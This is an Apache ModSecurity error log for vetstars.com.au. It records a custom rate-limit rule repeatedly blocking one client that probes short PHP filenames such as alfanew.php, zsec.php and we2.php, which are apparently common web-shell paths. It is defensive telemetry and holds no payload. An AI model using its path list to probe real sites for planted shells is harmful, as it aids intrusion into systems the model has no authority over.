[Sun Dec 28 19:06:10.880526 2025] [:error] [pid 29436:tid 29446] [client 4.196.149.150:15302] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aVEPIrchzOOtNL9VPNLcjgAAAYc"]
[Sun Dec 28 19:06:11.093716 2025] [:error] [pid 42293:tid 42345] [client 4.196.149.150:15318] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aVEPI8vc9B-5cwN385LX3QAAAFY"]
[Sun Dec 28 19:06:11.244205 2025] [:error] [pid 29436:tid 29443] [client 4.196.149.150:15298] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aVEPI7chzOOtNL9VPNLcjwAAAYQ"]
[Sun Dec 28 19:06:11.371250 2025] [:error] [pid 29436:tid 29463] [client 4.196.149.150:17734] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aVEPI7chzOOtNL9VPNLckAAAAZg"]
[Sun Dec 28 19:06:11.672136 2025] [:error] [pid 42292:tid 42309] [client 4.196.149.150:17789] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aVEPI5yOrM_vaFx1osY_TAAAAA0"]
[Sun Dec 28 19:06:12.003618 2025] [:error] [pid 42293:tid 42337] [client 4.196.149.150:15322] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aVEPJMvc9B-5cwN385LX4QAAAE4"]
[Sun Dec 28 19:06:12.422582 2025] [:error] [pid 42378:tid 42396] [client 4.196.149.150:17686] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aVEPJDgtcN-KHAjWrX8OBwAAANA"]
[Sun Dec 28 19:06:12.907506 2025] [:error] [pid 29388:tid 29420] [client 4.196.149.150:17689] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aVEPJNoLv2L2zI_SpdXSvgAAAVg"]
[Sun Dec 28 19:06:13.256438 2025] [:error] [pid 29436:tid 29459] [client 4.196.149.150:17669] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aVEPJbchzOOtNL9VPNLckgAAAZQ"]
[Sun Dec 28 19:06:13.524996 2025] [:error] [pid 29436:tid 29447] [client 4.196.149.150:17757] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aVEPJbchzOOtNL9VPNLclAAAAYg"]
[Sun Dec 28 19:06:13.652822 2025] [:error] [pid 43789:tid 43798] [client 4.196.149.150:15312] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aVEPJQa-tUppni4CcCYm_wAAAQc"]
[Sun Dec 28 19:06:14.167982 2025] [:error] [pid 29436:tid 29449] [client 4.196.149.150:17767] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aVEPJrchzOOtNL9VPNLcmAAAAYo"]
[Sun Dec 28 19:06:14.793064 2025] [:error] [pid 29436:tid 29442] [client 4.196.149.150:17748] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aVEPJrchzOOtNL9VPNLcmQAAAYM"]
[Sun Dec 28 19:06:15.043317 2025] [:error] [pid 42378:tid 42392] [client 4.196.149.150:17737] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aVEPJzgtcN-KHAjWrX8OCwAAAMw"]
[Sun Dec 28 19:06:15.081838 2025] [:error] [pid 29436:tid 29451] [client 4.196.149.150:15306] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aVEPJ7chzOOtNL9VPNLcmgAAAYw"]
[Sun Dec 28 19:06:15.265957 2025] [:error] [pid 29436:tid 29461] [client 4.196.149.150:17768] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aVEPJ7chzOOtNL9VPNLcmwAAAZY"]
[Sun Dec 28 19:06:15.786645 2025] [:error] [pid 29436:tid 29460] [client 4.196.149.150:17718] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aVEPJ7chzOOtNL9VPNLcnQAAAZU"]
[Sun Dec 28 19:06:16.798929 2025] [:error] [pid 29436:tid 29441] [client 4.196.149.150:17774] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aVEPKLchzOOtNL9VPNLcoAAAAYI"]
[Sun Dec 28 19:06:16.949810 2025] [:error] [pid 42293:tid 42332] [client 4.196.149.150:17739] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aVEPKMvc9B-5cwN385LX7QAAAEk"]
[Sun Dec 28 19:06:17.070736 2025] [:error] [pid 42378:tid 42401] [client 4.196.149.150:17679] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aVEPKTgtcN-KHAjWrX8ODQAAANU"]
[Sun Dec 28 19:06:17.203441 2025] [:error] [pid 42378:tid 42393] [client 4.196.149.150:17670] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aVEPKTgtcN-KHAjWrX8ODgAAAM0"]
[Sun Dec 28 19:06:17.657974 2025] [:error] [pid 29437:tid 29469] [client 4.196.149.150:17729] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aVEPKRhDotAbVk6pZLe1ewAAAcM"]
[Sun Dec 28 19:06:18.237603 2025] [:error] [pid 29437:tid 29476] [client 4.196.149.150:17754] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aVEPKhhDotAbVk6pZLe1fQAAAco"]
[Sun Dec 28 19:06:18.774995 2025] [:error] [pid 29436:tid 29447] [client 4.196.149.150:17678] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aVEPKrchzOOtNL9VPNLcpgAAAYg"]
[Sun Dec 28 19:06:19.303267 2025] [:error] [pid 29436:tid 29449] [client 4.196.149.150:17735] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aVEPK7chzOOtNL9VPNLcqgAAAYo"]
[Sun Dec 28 19:06:19.971478 2025] [:error] [pid 29436:tid 29455] [client 4.196.149.150:17723] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hugo.php"] [unique_id "aVEPK7chzOOtNL9VPNLcqwAAAZA"]
[Sun Dec 28 19:06:21.579986 2025] [:error] [pid 29436:tid 29446] [client 4.196.149.150:17716] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hugo.php"] [unique_id "aVEPLbchzOOtNL9VPNLcrgAAAYc"]
[Sun Dec 28 19:06:22.324042 2025] [:error] [pid 42292:tid 42304] [client 4.196.149.150:17675] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hugo.php"] [unique_id "aVEPLpyOrM_vaFx1osY_UQAAAAg"]
[Sun Dec 28 19:06:22.455247 2025] [:error] [pid 42292:tid 42303] [client 4.196.149.150:15350] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hugo.php"] [unique_id "aVEPLpyOrM_vaFx1osY_UwAAAAc"]
[Sun Dec 28 19:06:22.520852 2025] [:error] [pid 43789:tid 43811] [client 4.196.149.150:15333] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "aVEPLga-tUppni4CcCYnBAAAARQ"]
[Sun Dec 28 19:06:22.561636 2025] [:error] [pid 42292:tid 42317] [client 4.196.149.150:17736] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "aVEPLpyOrM_vaFx1osY_VAAAABU"]
[Sun Dec 28 19:06:22.598599 2025] [:error] [pid 43789:tid 43795] [client 4.196.149.150:17712] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "aVEPLga-tUppni4CcCYnBgAAAQQ"]
[Sun Dec 28 19:06:22.658398 2025] [:error] [pid 29436:tid 29462] [client 4.196.149.150:17700] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "aVEPLrchzOOtNL9VPNLcrwAAAZc"]
[Sun Dec 28 19:06:22.783929 2025] [:error] [pid 42378:tid 42400] [client 4.196.149.150:17721] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lzyrj.php"] [unique_id "aVEPLjgtcN-KHAjWrX8ODwAAANQ"]
[Sun Dec 28 19:06:22.983660 2025] [:error] [pid 42293:tid 42341] [client 4.196.149.150:17771] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lzyrj.php"] [unique_id "aVEPLsvc9B-5cwN385LX8gAAAFI"]
[Sun Dec 28 19:06:23.055914 2025] [:error] [pid 29388:tid 29415] [client 4.196.149.150:17674] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lzyrj.php"] [unique_id "aVEPL9oLv2L2zI_SpdXSwwAAAVM"]
[Sun Dec 28 19:06:23.111987 2025] [:error] [pid 29388:tid 29416] [client 4.196.149.150:15357] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lzyrj.php"] [unique_id "aVEPL9oLv2L2zI_SpdXSxAAAAVQ"]
[Sun Dec 28 19:06:23.204968 2025] [:error] [pid 42292:tid 42307] [client 4.196.149.150:15343] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/laudq.php"] [unique_id "aVEPL5yOrM_vaFx1osY_VQAAAAs"]
[Sun Dec 28 19:06:23.485650 2025] [:error] [pid 42294:tid 42366] [client 4.196.149.150:17751] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/laudq.php"] [unique_id "aVEPL9TE5kYcYCOzl9GzjQAAAJA"]
[Sun Dec 28 19:06:24.394183 2025] [:error] [pid 29436:tid 29458] [client 4.196.149.150:17666] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/laudq.php"] [unique_id "aVEPMLchzOOtNL9VPNLctAAAAZM"]
[Sun Dec 28 19:06:24.601448 2025] [:error] [pid 42293:tid 42331] [client 4.196.149.150:17703] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/laudq.php"] [unique_id "aVEPMMvc9B-5cwN385LX9gAAAEg"]
[Sun Dec 28 19:06:24.968348 2025] [:error] [pid 42294:tid 42370] [client 4.196.149.150:15313] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anjay.php"] [unique_id "aVEPMNTE5kYcYCOzl9GzjgAAAJQ"]
[Sun Dec 28 19:06:25.315042 2025] [:error] [pid 42378:tid 42394] [client 4.196.149.150:17694] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anjay.php"] [unique_id "aVEPMTgtcN-KHAjWrX8OEQAAAM4"]
[Sun Dec 28 19:06:25.886093 2025] [:error] [pid 42378:tid 42389] [client 4.196.149.150:15325] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anjay.php"] [unique_id "aVEPMTgtcN-KHAjWrX8OFAAAAMk"]
[Sun Dec 28 19:06:26.353664 2025] [:error] [pid 43789:tid 43809] [client 4.196.149.150:17714] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anjay.php"] [unique_id "aVEPMga-tUppni4CcCYnBwAAARI"]
[Sun Dec 28 19:06:26.567893 2025] [:error] [pid 42378:tid 42399] [client 4.196.149.150:17752] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aVEPMjgtcN-KHAjWrX8OGAAAANM"]
[Sun Dec 28 19:06:26.670697 2025] [:error] [pid 42294:tid 42371] [client 4.196.149.150:17702] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aVEPMtTE5kYcYCOzl9GzjwAAAJU"]
[Sun Dec 28 19:06:26.744654 2025] [:error] [pid 29437:tid 29485] [client 4.196.149.150:17680] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aVEPMhhDotAbVk6pZLe1gQAAAdM"]
[Sun Dec 28 19:06:27.006312 2025] [:error] [pid 29436:tid 29455] [client 4.196.149.150:15241] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aVEPM7chzOOtNL9VPNLctwAAAZA"]
[Sun Dec 28 19:06:27.102377 2025] [:error] [pid 42378:tid 42383] [client 4.196.149.150:17713] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aVEPMzgtcN-KHAjWrX8OGgAAAMM"]
[Sun Dec 28 19:06:27.286288 2025] [:error] [pid 42378:tid 42396] [client 4.196.149.150:17746] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aVEPMzgtcN-KHAjWrX8OGwAAANA"]
[Sun Dec 28 19:06:27.605022 2025] [:error] [pid 42294:tid 42359] [client 4.196.149.150:17759] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aVEPM9TE5kYcYCOzl9GzkgAAAIk"]
[Sun Dec 28 19:06:28.073223 2025] [:error] [pid 43789:tid 43802] [client 4.196.149.150:15202] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aVEPNAa-tUppni4CcCYnCAAAAQs"]
[Sun Dec 28 19:06:28.837479 2025] [:error] [pid 42378:tid 42382] [client 4.196.149.150:17722] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVEPNDgtcN-KHAjWrX8OIAAAAMI"]
[Sun Dec 28 19:06:29.232631 2025] [:error] [pid 42294:tid 42369] [client 4.196.149.150:17778] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVEPNdTE5kYcYCOzl9GzkwAAAJM"]
[Sun Dec 28 19:06:30.063987 2025] [:error] [pid 29436:tid 29460] [client 4.196.149.150:15317] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVEPNrchzOOtNL9VPNLcuAAAAZU"]
